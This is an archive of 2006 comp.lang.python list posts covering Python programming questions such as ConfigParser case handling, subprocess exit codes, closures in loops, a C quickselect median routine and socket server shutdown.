Message-ID: <WcCdnUyXTsda_bPYnZ2dnUVZ_rOdnZ2d@wispertel.com>

Paul McGuire wrote:
> <idknow at gmail.com> wrote in message 
> news:1160652722.908731.213650 at i42g2000cwa.googlegroups.com...
>> Paul McGuire wrote:
>>> <idknow at gmail.com> wrote in message
>>> news:1160619958.438049.53390 at h48g2000cwc.googlegroups.com...
>>>> [snip]
>>>>
>>>> no sort() is needed to calculate the median of a list.
>>>>
>>>> you just need one temp var.
>>>>
>>> Ok, I'll bite.  How do you compute the median of a list using just a 
>>> single
>>> temp var?
>>>
>>> -- Paul
>> hi Paul; well when this was a stats-class assignment (back when pascal
>> was popular :) i just stepped through the vector and compared it
>>
>> (pseudo-code)
>>
>> ptr p = [with values].
>>
>> fun median {
>> var x = 0.
>>  while( *p++) {
>>    if( (*p) > x) x = *p.
>>  }
>>  return x.
>> }
>>
>> of course, pascal is more verbose but that's median()
>>
> 
> No, that's the maximum.  The median value is the value that is in the middle 
> of the list when the list is sorted.  Many analyses prefer median to mean 
> (also known as "average") because the median is less sensitive to wild 
> outlier points.
> 
> My original question was in response to your post, that sort() wasn't 
> required but only a temp variable.  I am very interested in seeing your 
> solution that does not require the data to be sorted.  (This is not just an 
> academic exercise - given a large historical data set, sorting the data is 
> one of the costliest parts of computing the median, and I would greatly 
> appreciate seeing an alternative algorithm.)

Here's a K&R C function I wrote almost 20 years ago. It's a general 
purpose quantile. The essential idea is to choose an element at random 
(thus mostly avoiding perverse behavior with already sorted data) and 
divide the set into two pieces around it. Then you figure out which 
piece contains the quantile you want, and what quantile it is within 
that piece, and recurse. When you see enough identical elements in the 
piece you're processing, it's done. In the extreme case you'll get down 
to one element.

ixrand(n) generates a random integer in the range 0..n-1. I think that's 
the only nonstandard function used.

The style is torqued by what Unisoft C could and couldn't optimize: I 
wouldn't write it quite like that today. One of my students pointed out 
that all of the recursion is tail recursion so it should be easy to 
flatten. Left as an exercise to the reader...

Somewhere, in Knuth I think, I saw a somewhat similar algorithm that 
promised a little better performance by estimating the median from a 
sample of the data, breaking the data up there, and then looking for a 
quantile (statistically guaranteed to be) close to the min or max of one 
of the subsets.

It shouldn't be hard to recode in Python, Forth, or whatever. That 
wasn't my purpose in the exercise that started the thread though: I 
wanted to see if I could import modules good enough to do the job from 
public sources. In Python I could, and the entire image processing 
program is 15 lines. In Forth I couldn't.

Anyway, here it is:

/* Find the nth from the minimum value in an array */
/* Monte Carlo method intended for finding medians */
/* 2/13/85 jpd */

/* For random data, this routine takes about */
/* 2.6*numdata + O( log( numdata )) comparisons */
/* If the data is tightly clustered about the mean, */
/* there is a speedup; it may take as few as
/* 0.5*numdata comparisons. */
/* There is a slight penalty if the array is completely */
/* or partially sorted; it is at most 25%. */

/* NTH will be nthi, nths, etc., depending on DATATYPE */

NTH( data, numdata, n )
DATATYPE data[];		/* Data array (will be scrambled on return) */
int numdata;		/* lemgth of data array */
int n;			/* index if item to find:
			   1 <= n <= numdata */
{
	register DATATYPE boundary, thisdata;
	register DATATYPE *lowp, *highp;
	DATATYPE v1, v2;
	int nlowbin;

	lowp = data;			/* Init data pointer */

	v1 = data[ ixrand( numdata )];
	{
		register DATATYPE v1r = v1;
		int nc = 1 + numdata - n;	/* "Complement" of n */

		if( nc > n )
			highp = lowp + nc;
		else
			highp = lowp + n;	/* Limit to test for done */

					/* Scan for the first point which
					   doesn't match the boundary point.
					   If we encounter enough
					   matching points,
					   the boundary is the answer */
		while( *lowp++ == v1r ) {
			if( lowp >= highp ) return( v1r );
		}
		v2 = *--lowp;		/* Back up to get point */
	}

	boundary = ( v1 >> 1 ) + ( v2 >> 1 );	/* Beware overflows */

	highp = data + numdata;		/* Now process the whole thing */
	thisdata = *lowp;		/* Prime the pump */

	if( v2 < v1 ) {			/* Bin 2 is low bin */
		for( ; lowp < highp; thisdata = *lowp ) {
			if( thisdata <= boundary ) { /* Bin 2 */
				*lowp = *--highp;	/* Exchange */
				*highp = thisdata;
			}
			else ++lowp;	/* Data point in right place */
		}

		nlowbin = numdata - ( lowp - data );
		if( nlowbin >= n ) return( NTH( highp, nlowbin, n ));
		else return( NTH( data, lowp - data, n - nlowbin ));

	}
	else {			/* Primary bin is low bin */
		for( ; lowp < highp; thisdata = *lowp ) {
			if( thisdata > boundary ) { /* Bin 2 */
				*lowp = *--highp;	/* Exchange */
				*highp = thisdata;
			}
			else ++lowp;	/* Don't move point */
		}

		nlowbin = ( lowp - data );
		if( nlowbin >= n ) return( NTH( data, nlowbin, n ));
		else return( NTH( highp, numdata - nlowbin, n - nlowbin ));
	}
}




-- 
John Doty, Noqsi Aerospace, Ltd.
--
Specialization is for robots.


From tony.ha at philips.com  Mon Oct  2 09:04:42 2006
From: tony.ha at philips.com (tony.ha at philips.com)
Date: Mon, 02 Oct 2006 13:04:42 GMT
Subject: Help with ConfigParser
Message-ID: <K78Ug.314$R52.230@lon04-news-philips>

Hello I use ConfigParser as show below to read a config.txt file;

from ConfigParser import ConfigParser

config = ConfigParser()
config.read('config.txt')
items = config.items('FV')
for item in items:
   module_name = item[0]
   print module_name


The config.txt file has the following

[FV]
# Set the module to "1" to enable the regression test run on it, otherwise 
set it to "0"

ip_dtlmmio0_1803: 0
ip_gpio0_4004: 0
ip_dmac0_1903: 0
ip_ptA_a_sdramc_2022: 1
ip_timer0_3012: 0



the output has been convert to lowercase, i.e ip_ptA_a_sdramc_2022  become 
ip_pta_a_sdramc_2022
(the captial letter 'A, become lower case 'a').

Question: How can I pervent ConfigParse to convert Upper case yo lower 
case??, thanks.
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From skip at pobox.com  Sat Oct 28 19:11:11 2006
From: skip at pobox.com (skip at pobox.com)
Date: Sat, 28 Oct 2006 18:11:11 -0500
Subject: PROBLEM with MOD_PYTHON
In-Reply-To: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
References: <1162041564.610155.278270@h48g2000cwc.googlegroups.com>
Message-ID: <17731.58255.487147.1439@montanaro.dyndns.org>


    dan> I don't understand this error , in the (Apache) errorlog I read
    dan> this message :

    dan> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: could not import
    dan> mod_python.apache.\n
    dan> [Sat Oct 28 14:04:03 2006] [error] make_obcallback: Python path being
    dan> used "['C:\\\\Python24\\\\python24.zip', '.\\\\DLLs', '.\\\\lib',
    dan> '.\\\\lib\\\\plat-win', '.\\\\lib\\\\lib-tk',
    dan> 'C:\\\\Programmi\\\\Apache Group\\\\Apache2\\\\bin']".
    dan> [Sat Oct 28 14:04:03 2006] [error] python_handler: no interpreter
    dan> callback found.
    dan> [Sat Oct 28 14:04:03 2006] [error] [client 127.0.0.1] python_handler:
    dan> Can't get/create interpreter.

Just a wild ass guess, but maybe Apache can't find the necessary python dll
to load?

Skip



From hanumizzle at gmail.com  Wed Oct 11 01:46:36 2006
From: hanumizzle at gmail.com (Theerasak Photha)
Date: Wed, 11 Oct 2006 01:46:36 -0400
Subject: Difference between unindexable and unsubscriptable
In-Reply-To: <87zmc376py.fsf@benfinney.id.au>
References: <eghtcj$lrh$1@skeeter.ucdavis.edu> <87zmc376py.fsf@benfinney.id.au>
Message-ID: <463ff4860610102246l35719e13m28ec4cbed41fa149@mail.gmail.com>

On 10/11/06, Ben Finney <bignose+hates-spam at benfinney.id.au> wrote:
> Jackson <jackson at hotmail.com> writes:
>
> > I would like to test if an object can accept:   obj[0]
>
> Then do so. Use the object in the way you want to use it, and catch
> any exceptions that you want to handle.

I'm trying to learn about style conventions in Python. How would use
of getattr compare?

-- Theerasak


From jhefferon at smcvt.edu  Sat Oct 28 17:06:48 2006
From: jhefferon at smcvt.edu (Jim)
Date: 28 Oct 2006 14:06:48 -0700
Subject: unescape HTML entities
In-Reply-To: <mailman.1412.1162068610.11739.python-list@python.org>
References: <mailman.1412.1162068610.11739.python-list@python.org>
Message-ID: <1162069608.505758.227960@i42g2000cwa.googlegroups.com>


Rares Vernica wrote:
> How can I unescape HTML entities like "&nbsp;"?
Can I ask what you mean by "unescaping"?  Do you mean converting into
numeric references?  Into Unicode?

Jim



From fredrik at pythonware.com  Mon Oct  2 12:32:59 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Mon, 02 Oct 2006 18:32:59 +0200
Subject: commands.getstatusoutput result is not command line exit value!!!
In-Reply-To: <45213700.5050907@googlemail.com>
References: <452125F8.8070106@googlemail.com>
	<efrat3$db4$1@sea.gmane.org>	<45213245.3000808@googlemail.com>
	<452133F1.5050401@holdenweb.com> <45213700.5050907@googlemail.com>
Message-ID: <efrevs$tmd$1@sea.gmane.org>

Hari Sekhon wrote:

> I'm sorry, this may seem dense to you but I have to ask. What on earth 
> are you talking about?
 >
> Why is it shifted 8 bits to the left? Why is there bitshifting at all? 
> Why doesn't commands give the same exit value as os.system() and the 
> unix cli?

because that's how Unix's wait() operation returns the status code (as 
mentioned in the "commands" section of the library reference).

you can use the os.WIFEXITED(status) and os.WEXITSTATUS(code) helpers to 
convert between wait return codes and signal numbers/exit codes.  see:

     http://docs.python.org/lib/os-process.html

or you can forget about the obsolete "commands" module, and use the new 
subprocess module instead; e.g.

def getstatusoutput(command):
     from subprocess import Popen, PIPE, STDOUT
     p = Popen(command, stdout=PIPE, stderr=STDOUT, shell=True)
     s = p.stdout.read()
     return p.wait(), s

print getstatusoutput("ls -l /bin/ls")
(0, '-rwxr-xr-x    1 root     root        68660 Aug 12  2003 /bin/ls\n')

the subprocess module is highly flexible; see the library reference for 
details.

</F>



From mail at microcorp.co.za  Sat Oct 14 01:08:40 2006
From: mail at microcorp.co.za (Hendrik van Rooyen)
Date: Sat, 14 Oct 2006 07:08:40 +0200
Subject: Thread termination
References: <1160732308.053202.225450@b28g2000cwb.googlegroups.com>
Message-ID: <000d01c6ef55$3e6fa2c0$03000080@hendrik>

 "Teja" <tejovathi.p at gmail.com>wrote:

> Hi all,
> 
> Does any one know how to terminate or kill a thread that is started
> with "start_new_thread()" in the middle of its execution?
> 
> Any pointers?
> 
> Thanks in advance
> 
> Teja.

can't be done from outside without co operation of thread in question.
google this newsgroup
- Hendrik



From onurb at xiludom.gro  Mon Oct  2 05:30:38 2006
From: onurb at xiludom.gro (Bruno Desthuilliers)
Date: Mon, 02 Oct 2006 11:30:38 +0200
Subject: "Wiki in 10 minutes"
In-Reply-To: <mailman.1015.1159652783.10491.python-list@python.org>
References: <mailman.1015.1159652783.10491.python-list@python.org>
Message-ID: <4520dc40$0$15868$636a55ce@news.free.fr>

Michiel Sikma wrote:
> Hello everybody.
> 
> I recently had a bit of data loss and, among some other minor things,
> lost my bookmarks. 
(snip)
> 
> Any other links pertaining to the creation of web applications with
> Python, which I'm only just getting into, would also be appreciated.

Could it be that one ?

http://adminspotting.net/building-web-pages-with-python/


-- 
bruno desthuilliers
python -c "print '@'.join(['.'.join([w[::-1] for w in p.split('.')]) for
p in 'onurb at xiludom.gro'.split('@')])"


From mxywp at 126.com  Sun Oct 22 02:06:06 2006
From: mxywp at 126.com (mxywp)
Date: Sat, 21 Oct 2006 23:06:06 -0700
Subject: question: script to input data into a webpage and then retrieve the
	result?
Message-ID: <002401c6f5a0$2b5aeef0$0302a8c0@MENG>

Could someone help me with this or share an example script with me?

Here is what I want to accomplish:
(1) input 3 values into 3 boxes on a web page
(2) there is an authentication code each time you access this page and I have to write this code into the fourth box on the same page
(3) click "submit" button
(4) this web page will turn into a page with a table having a value calculated from my inputs
(5) extract this value into a local file
(6) repeat the above for 12000 times.

I would really appreciate it if someone can tell me how to do it using python script. I am new to python web programming.

Thanks,
mxywp
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From ajones1 at gmail.com  Wed Oct 18 16:41:42 2006
From: ajones1 at gmail.com (Adam Jones)
Date: 18 Oct 2006 13:41:42 -0700
Subject: What happened to RuleDispatch
In-Reply-To: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
References: <1161154025.466013.102780@e3g2000cwe.googlegroups.com>
Message-ID: <1161204102.346021.154750@f16g2000cwb.googlegroups.com>


exhuma.twn wrote:
> Hi all,
>
> yesterday I wanted to install TurboGears, which depends on
> RuleDispatch. However, I failed to download it. First I got the error
> "Bad Gateway" from the server, today it's simply a "Not Found" error.
> So what happened to it? Does somebody know?
>
> I would really need to install TurboGears in the next couple of days.
> So if someone knows where I can find a mirror of RuleDispatch I would
> be very grateful.

The required files for TG are mirrored on the turbogears.org download
page. You should be able to get an installation by looking up the files
there. Try this command:

easy_install -f http://www.turbogears.org/download/index.html
TurboGears

That is actually the recommended way to install TurboGears, as it is
not always compatible with the latest version of the components.

-Adam



From fredrik at pythonware.com  Tue Oct  3 08:24:25 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 3 Oct 2006 14:24:25 +0200
Subject: was python implemented as a object oriented langage at the
	beginning ?
References: <f3a8ca7c0610030506k2fb6040ai9e256049ebf9100e@mail.gmail.com>
Message-ID: <eftkpp$7i7$1@sea.gmane.org>

Bertrand Ballis wrote:

> I heard a lot of people from the Ruby community claiming that Python, like
> Perl, was a scripting langage that was changed aftewards to be object
> compatible, and that was making it not as good as Ruby, object-oriented
> from the begenning.
>
> Is that true ?

nope.

</F> 





From skip at pobox.com  Mon Oct  9 08:59:54 2006
From: skip at pobox.com (skip at pobox.com)
Date: Mon, 9 Oct 2006 07:59:54 -0500
Subject: Python to use a non open source bug tracker?
In-Reply-To: <i2hpv3-qj7.ln1@nb2.stroeder.com>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<YzoVg.137036$zy5.1843214@twister1.libero.it>
	<mailman.1477.1160171746.10491.python-list@python.org>
	<1160172267.566568.79030@m7g2000cwm.googlegroups.com>
	<452966A2.1090107@v.loewis.de> <egbq0f$iah$1@sea.gmane.org>
	<mailman.83.1160343369.11739.python-list@python.org>
	<7x64eu4h3a.fsf@ruckus.brouhaha.com>
	<i2hpv3-qj7.ln1@nb2.stroeder.com>
Message-ID: <17706.18378.540464.252184@montanaro.dyndns.org>


    Michael> E-mail spam is an issue but the python.org infrastructure
    Michael> already has to do spam filtering for mailing lists. Or does it
    Michael> simply resend all mail?

Email sent to most mailing lists hosted on mail.python.org are passed
through a SpamBayes instance before being forwarded to the list's members.

Skip



From tim.peters at gmail.com  Thu Oct  5 02:44:31 2006
From: tim.peters at gmail.com (Tim Peters)
Date: Thu, 5 Oct 2006 02:44:31 -0400
Subject: Python to use a non open source bug tracker?
In-Reply-To: <eg1jgs$5g3$1@sea.gmane.org>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<45240E19.3040000@v.loewis.de> <87lknvelb3.fsf@benfinney.id.au>
	<eg1jgs$5g3$1@sea.gmane.org>
Message-ID: <1f7befae0610042344m512a6b59g994e06343e5b9c9c@mail.gmail.com>

[Ben Finney]
>> I don't see why you're being so obtuse

[Terry Reedy]
> I think name calling is out of line here.

Name calling is always out of line on comp.lang.python.  Unless it's
done by Guido.  Then it's OK.  Anyone else, just remind them that even
Hitler had better manners.  That always calms things down again.

loving-usenet-despite-that-it's-usenet-ly y'rs  - tim


From hanumizzle at gmail.com  Fri Oct  6 06:12:37 2006
From: hanumizzle at gmail.com (hanumizzle)
Date: Fri, 6 Oct 2006 06:12:37 -0400
Subject: HOST - Assembla Inc. Breakout - Copyright Violation by Mr. Andy
	Singleton
In-Reply-To: <4omn7jFfe26cU1@uni-berlin.de>
References: <1160082179.215729.164060@c28g2000cwb.googlegroups.com>
	<PUeVg.14060$5o5.12327@tornado.texas.rr.com>
	<1160088907.689743.252500@m7g2000cwm.googlegroups.com>
	<mailman.1388.1160089812.10491.python-list@python.org>
	<1160100015.211649.310540@m73g2000cwd.googlegroups.com>
	<4omn7jFfe26cU1@uni-berlin.de>
Message-ID: <463ff4860610060312q6ddb41a5w1081c90150f8662@mail.gmail.com>

On 10/6/06, Diez B. Roggisch <deets at nospam.web.de> wrote:

> This is on the same level of interest to the communities of python, ruby
> & java as the color of my socks this morning - a deep black with cute
> little skulls imprinted.

Where did you get these?

-- Theerasak


From bearophileHUGS at lycos.com  Tue Oct 24 12:30:55 2006
From: bearophileHUGS at lycos.com (bearophileHUGS at lycos.com)
Date: 24 Oct 2006 09:30:55 -0700
Subject: Sorting by item_in_another_list
In-Reply-To: <mailman.1082.1161705027.11739.python-list@python.org>
References: <mailman.1034.1161665444.11739.python-list@python.org>
	<ehkfmj$2ol$1@enyo.uwa.edu.au>
	<7.0.1.0.0.20061024123048.05772100@yahoo.com.ar>
	<1161704497.2516.12.camel@dot.uniqsys.com>
	<mailman.1082.1161705027.11739.python-list@python.org>
Message-ID: <1161707455.025964.97930@k70g2000cwa.googlegroups.com>

Carsten Haese:
> However, it's not clear
> whether this specifies language behavior that all implementations must
> adhere to, or whether it simply documents an implementation detail of
> CPython.

I think it's CPython-specific, but maybe here people expert in Jython
and IronPython can tell if their sort is stable.

Bye,
bearophile



From http  Tue Oct 24 00:14:54 2006
From: http (Paul Rubin)
Date: 23 Oct 2006 21:14:54 -0700
Subject: Obtaining SSL certificate info from SSL object - BUG?
References: <453D95EA.1020602@animats.com>
Message-ID: <7x3b9eic3l.fsf@ruckus.brouhaha.com>

John Nagle <nagle at animats.com> writes:
> Is there a workaround for this?  Without rebuilding Python
> and becoming incompatible?

I've parsed certs by calling openssl in a subprocess.  Maybe that's
not what you wanted to hear.  If you're really industrious you might
be able to extend the tlslite cert parsing code (written in pure
Python) to get those fields out.


From joncle at googlemail.com  Fri Oct 20 09:14:13 2006
From: joncle at googlemail.com (Jon Clements)
Date: 20 Oct 2006 06:14:13 -0700
Subject: list comprehension (searching for onliners)
In-Reply-To: <mailman.836.1161347985.11739.python-list@python.org>
References: <mailman.836.1161347985.11739.python-list@python.org>
Message-ID: <1161350053.788985.242400@i3g2000cwc.googlegroups.com>


Gerardo Herzig wrote:

> Hi all: I have this list thing as a result of a db.query: (short version)
> result = [{'service_id' : 1, 'value': 10},
>                 {'service_id': 2, 'value': 5},
>                 {'service_id': 1, 'value': 15},
>                 {'service_id': 2, 'value': 15},
>              ]
>
> and so on...what i need to do is some list comprehension that returns me
> something like
>
> result = [
>                 {
>                     'service_id' : 1, 'values': [ {'value': 10},
> {'value': 15}]
>                  },
>                 {
>               'service_id' : 2, 'values': [ {'value': 5}, {'value': 15}]
>                 }
>
>
> My problem now is i cant avoid have "repeteated" entries, lets say, in
> this particular case, 2 entries for "service_id = 1", and other 2 for
> "service_id =2".
> Ill keeping blew off my hair and drinking more cofee while searching for
> this damn onliner im looking for.

If you import itertools and have your DB query return in order of
service_id (or sort the list after retrieving result), then...


[ [dict(service_id=key),[dict(value=n['value']) for n in value]] for
key,value in itertools.groupby(result,lambda x: x['service_id']) ]

... is more or less what you want.

Jon.



From trevor_morgan at yahoo.com  Sat Oct 28 21:41:48 2006
From: trevor_morgan at yahoo.com (trevor_morgan at yahoo.com)
Date: 28 Oct 2006 18:41:48 -0700
Subject: Name bindings for inner functions.
References: <1162072141.571008.296670@h48g2000cwc.googlegroups.com>
	<4543ddbe$0$3210$4fafbaef@reader2.news.tin.it>
Message-ID: <1162086108.458335.156860@e3g2000cwe.googlegroups.com>

Thanks, that's exactly what I needed.
Andrea Griffini wrote:
> trevor_morgan at yahoo.com wrote:
> > The following code:
> >
> > def functions():
> >     l=list()
> >     for i in range(5):
> >         def inner():
> >             return i
> >         l.append(inner)
> >     return l
> >
> >
> > print [f() for f in functions()]
> >
> >
> > returns [4,4,4,4,4], rather than the hoped for [0,1,2,3,4].  I presume
> > this is something to do with the variable i getting re-bound every time
> > we go through the loop, or something, but I'm not sure how to fix this.
>
> The problem is that "i" inside the function is indeed
> the same variable for all the functions (the one you're
> using for looping).
>
> If you want a different variable for each function
> you can use the somewhat ugly but idiomatic
>
> def functions():
>      l=list()
>      for i in range(5):
>          def inner(i=i):
>              return i
>          l.append(inner)
>      return l
>
> this way every function will have its own "i" variable,
> that is initialized with the value of the loop variable
> when executing the "def" statement.
> 
> Andrea



From antroy at gmail.com  Sun Oct  8 02:51:33 2006
From: antroy at gmail.com (Ant)
Date: 7 Oct 2006 23:51:33 -0700
Subject: Is there an alternative to os.walk?
In-Reply-To: <1160242450.515582.304510@i42g2000cwa.googlegroups.com>
References: <1159983032.359224.83280@i3g2000cwc.googlegroups.com>
	<1159988816.166699.307450@k70g2000cwa.googlegroups.com>
	<1160242450.515582.304510@i42g2000cwa.googlegroups.com>
Message-ID: <1160290293.507683.24300@b28g2000cwb.googlegroups.com>

The idiomatic way of doing the tree traversal is:

def search(a_dir):
   valid_dirs = []
   for dirpath, dirnames, filenames in os.walk(a_dir):
       if dirtest(filenames):
           valid_dirs.append(dirpath)
   return valid_dirs

Also since you are given a list of filenames in the directory, then why
not just check the list of those files for your test files:

def dirtest(filenames):
   testfiles = ['a','b','c']
   for f in testfiles:
       if not f in filenames:
           return False
   return False

You'd have to test this to see if it made a difference in performance,
but it makes for more readable code



From fredrik at pythonware.com  Tue Oct  3 09:05:09 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 3 Oct 2006 15:05:09 +0200
Subject: loop beats generator expr creating large dict!?
References: <20061002215040.65003374.gry@ll.mit.edu><1159866342.984495.254000@i42g2000cwa.googlegroups.com>
	<F6tUg.7027$pS3.4731@trnddc01>
Message-ID: <eftn65$g29$1@sea.gmane.org>

David Isaac wrote:

> The current situation is:  use a loop because the obvious generator
> approach is not efficient.

"not efficient" compared to what ?

</F> 





From sjdevnull at yahoo.com  Thu Oct  5 06:03:30 2006
From: sjdevnull at yahoo.com (sjdevnull at yahoo.com)
Date: 5 Oct 2006 03:03:30 -0700
Subject: dictionary of list from a file
In-Reply-To: <mailman.1308.1160013552.10491.python-list@python.org>
References: <1159967361.355323.201050@m7g2000cwm.googlegroups.com>
	<mailman.1262.1159968035.10491.python-list@python.org>
	<1159992675.176015.248850@c28g2000cwb.googlegroups.com>
	<mailman.1308.1160013552.10491.python-list@python.org>
Message-ID: <1160042610.560396.103440@k70g2000cwa.googlegroups.com>

limodou wrote:
> On 4 Oct 2006 13:11:15 -0700, sjdevnull at yahoo.com <sjdevnull at yahoo.com> wrote:
> > limodou wrote:
> > > here is my program
> > >
> > > d = {}
> > > for line in file('test.txt'):
> > >     line = line.strip()
> > >     if line:
> > >         k, v = line.strip().split()
> > >         d.setdefault(k, []).append(v)
> > > print d
> >
> > Minor nits: you call strip twice, when you don't need to.  just omit
> > the second call.
>
> Yes, I forgot that.
>
> > Also, I'm not sure stripping the line is the right thing per the spec;
> >
> > d = {}
> > for line in [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]:
> >     k,v = line.split()
> >     d.setdefault(k,[]).append(v)
> >
> [l[:-1] for l in file('test.txt', 'rU') if len(l)>1]
>
> this line I think will create a list, and if the file is large, it'll
> consume many memory I think.
>
> And I think using strip is more clear than list comprehension, except
> for the memory consume.

Good point on memory.

You can use strip in a list (or generator) comprehension just fine.

For example (using a generator to avoid memory consumption):

for line in (l.rstrip("\n") for l in file("test.txt", "rU") if l[0] !=
"\n"):
   k, v = line.split()
   d.setdefault(k, []).append(v)

It's a matter of taste, but I think this isolates the bean-counting
"get rid of newlines/blank lines" stuff from the real processing and
makes it a bit clearer what real work you're doing with each line.



From fredrik at pythonware.com  Tue Oct 31 10:54:01 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Tue, 31 Oct 2006 16:54:01 +0100
Subject: PIL on Python 2.4 - ImportError: No module named _imagingft
In-Reply-To: <454767E4.5070600@gmail.com>
References: <454767E4.5070600@gmail.com>
Message-ID: <ei7rik$taj$1@sea.gmane.org>

Nico Grubert wrote:

> I have installed Python 2.4.3. and PIL 1.1.5. on a Suse Linux 10 64 Bit 
> machine.
> 
> If I try
> 
>   >>> import _imagingft
> 
> I get this error:
>    ImportError: No module named _imagingft
> 
> Did I miss something?

installed how?  _imagingft is an optional component, and requires the 
FreeType library to work.

</F>



From steve at holdenweb.com  Wed Oct 11 03:38:32 2006
From: steve at holdenweb.com (Steve Holden)
Date: Wed, 11 Oct 2006 08:38:32 +0100
Subject: Converting MSWord Docs to PDF
In-Reply-To: <eggrvs$qvt$1$8300dec7@news.demon.co.uk>
References: <mailman.185.1160469513.11739.python-list@python.org>	<slrneimnp2.6ng.sybrenUSE@schuimige.stuvel.eu>	<mailman.198.1160474721.11739.python-list@python.org>
	<eggrvs$qvt$1$8300dec7@news.demon.co.uk>
Message-ID: <egi6vv$smn$2@sea.gmane.org>

Andrew McLean wrote:
> Steve Holden wrote:
> 
>>If that *isn't* satisfactory then a modest investment in Adobe 
>>Acrobat/Distiller plus the use of Python's scripting facilities to 
>>direct the conversion would be preferable to spending a huge amount of 
>>time writing a hand-crafted solution.
> 
> 
> An alternative to Adobe Distiller (part of Acrobat) is PDFCreator
> 
> http://sourceforge.net/projects/pdfcreator/
> 
> which is free. This installs as a Windows printer (using GhostScript as 
> a backend to generate PDFs). It should be relatively straightforward to 
> use Python scripting to drive Word to "print" documents to the 
> PDFCreator pseudo-printer.

Nice one, thanks for that, I'd missed it.

regards
  Steve
-- 
Steve Holden       +44 150 684 7255  +1 800 494 3119
Holden Web LLC/Ltd          http://www.holdenweb.com
Skype: holdenweb       http://holdenweb.blogspot.com
Recent Ramblings     http://del.icio.us/steve.holden



From mumebuhi at gmail.com  Fri Oct 27 09:58:23 2006
From: mumebuhi at gmail.com (mumebuhi)
Date: 27 Oct 2006 06:58:23 -0700
Subject: To Kill a Process that is Accepting Connection on Socket
Message-ID: <1161957502.919693.110690@b28g2000cwb.googlegroups.com>

I removed my previous post about this topic because I apparently have
pasted the wrong code. Sorry for the confusion and thanks for being
patient.

I am having problem to kill the following script completely. The script
basically does the following. The main thread creates a new thread,
which does a completely useless thing, and then starts excepting for a
connection via socket.

# start
import pickle
import signal
import simplejson
import socket
import sys
import threading
import time

counter = 0

class WorkerThread(threading.Thread):
	def run(self):
		global counter
		while True:
			counter += 1
			time.sleep(10)

worker_thread = WorkerThread()
worker_thread.start()

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('', 2727))
server.listen(2)

def cleanup(signal, frame):
	print "die now"
	worker_thread.join(1)
	server.shutdown(socket.SHUT_RDWR)
	sys.exit(0)
signal.signal(signal.SIGINT, cleanup)

while True:
	channel, details = server.accept()
	stats = { 'key': "value" }
	s = simplejson.dumps(stats)
	channel.send(s)
	channel.close()
# end

The way I can think of right now is to kill the script using Ctrl+C.
Hence, the signal handler in the code. However, the interpreter
complains:
$ python ex_server.py
die now
Traceback (most recent call last):
  File "ex_server.py", line 33, in ?
    channel, details = server.accept()
  File "/usr/lib/python2.4/socket.py", line 169, in accept
    sock, addr = self._sock.accept()
  File "ex_server.py", line 28, in cleanup
    server.shutdown(socket.SHUT_RDWR)
  File "<string>", line 1, in shutdown
socket.error: (128, 'Transport endpoint is not connected')

Does anybody know a better way to do this?

Thank you.

Buhi



From michael at stroeder.com  Thu Oct  5 13:14:23 2006
From: michael at stroeder.com (=?ISO-8859-1?Q?Michael_Str=F6der?=)
Date: Thu, 05 Oct 2006 19:14:23 +0200
Subject: Python to use a non open source bug tracker?
In-Reply-To: <4n4Vg.135913$_J1.898276@twister2.libero.it>
References: <22pUg.132825$zy5.1820633@twister1.libero.it>
	<7xk63h232z.fsf@ruckus.brouhaha.com> <eftfoe$l8n$1@sea.gmane.org>
	<mailman.1155.1159876666.10491.python-list@python.org>
	<mailman.1163.1159879479.10491.python-list@python.org>
	<fxJUg.134222$zy5.1829414@twister1.libero.it>
	<ue6dnQBgEPPCMr7YnZ2dnUVZ_rqdnZ2d@speakeasy.net>
	<eg0bo2$obu$1@nnrp.ngi.it> <45240FD5.3050705@v.loewis.de>
	<4n4Vg.135913$_J1.898276@twister2.libero.it>
Message-ID: <f4rfv3-vhg.ln1@nb2.stroeder.com>

Giovanni Bajo wrote:
> Martin, I am by no means understimating Daniel's work. I am just noting that
> the spare-time work he did is, by definition, much much lower than the "6-10
> people" that the PSF infrastructure committee is calling for. I would like this
> statement to be officially reduced to "2-3 people", since it is *really* not
> required much more than that to setup a bug tracker installation, and no more
> than 1 person to maintain it afterwards.

Glancing over this thread I wonder what these people are supposed to do.
Any list of requirements available?

Ciao, Michael.


From gagsl-py at yahoo.com.ar  Thu Oct  5 14:25:47 2006
From: gagsl-py at yahoo.com.ar (Gabriel Genellina)
Date: Thu, 05 Oct 2006 15:25:47 -0300
Subject: Asychronous execution *with* return codes?
In-Reply-To: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
References: <1160051584.291073.44350@m73g2000cwd.googlegroups.com>
Message-ID: <7.0.1.0.0.20061005152202.05a4b9a8@yahoo.com.ar>

At Thursday 5/10/2006 09:33, utabintarbo wrote:

># gives back return code, but does not run asynchronously
>retcode = subprocess.call([app, lstArgs])
>retcode = subprocess.Popen([app] + lstArgs).wait()
># runs the app async, but only returns the pid (no return code)
>pid = subprocess.Popen([app] + lstArgs).pid
></code>
>
>Is there some magic elixir which will get me both?

Use the async way, and then, os.waitpid()



Gabriel Genellina
Softlab SRL 


	
	
		
__________________________________________________
Pregunt?. Respond?. Descubr?.
Todo lo que quer?as saber, y lo que ni imaginabas,
est? en Yahoo! Respuestas (Beta).
?Probalo ya! 
http://www.yahoo.com.ar/respuestas



From fredrik at pythonware.com  Wed Oct  4 16:46:46 2006
From: fredrik at pythonware.com (Fredrik Lundh)
Date: Wed, 04 Oct 2006 22:46:46 +0200
Subject: sax barfs on unicode filenames
In-Reply-To: <45241B66.7050205@v.loewis.de>
References: <WOOUg.61$iP5.19@newsfe07.lga>
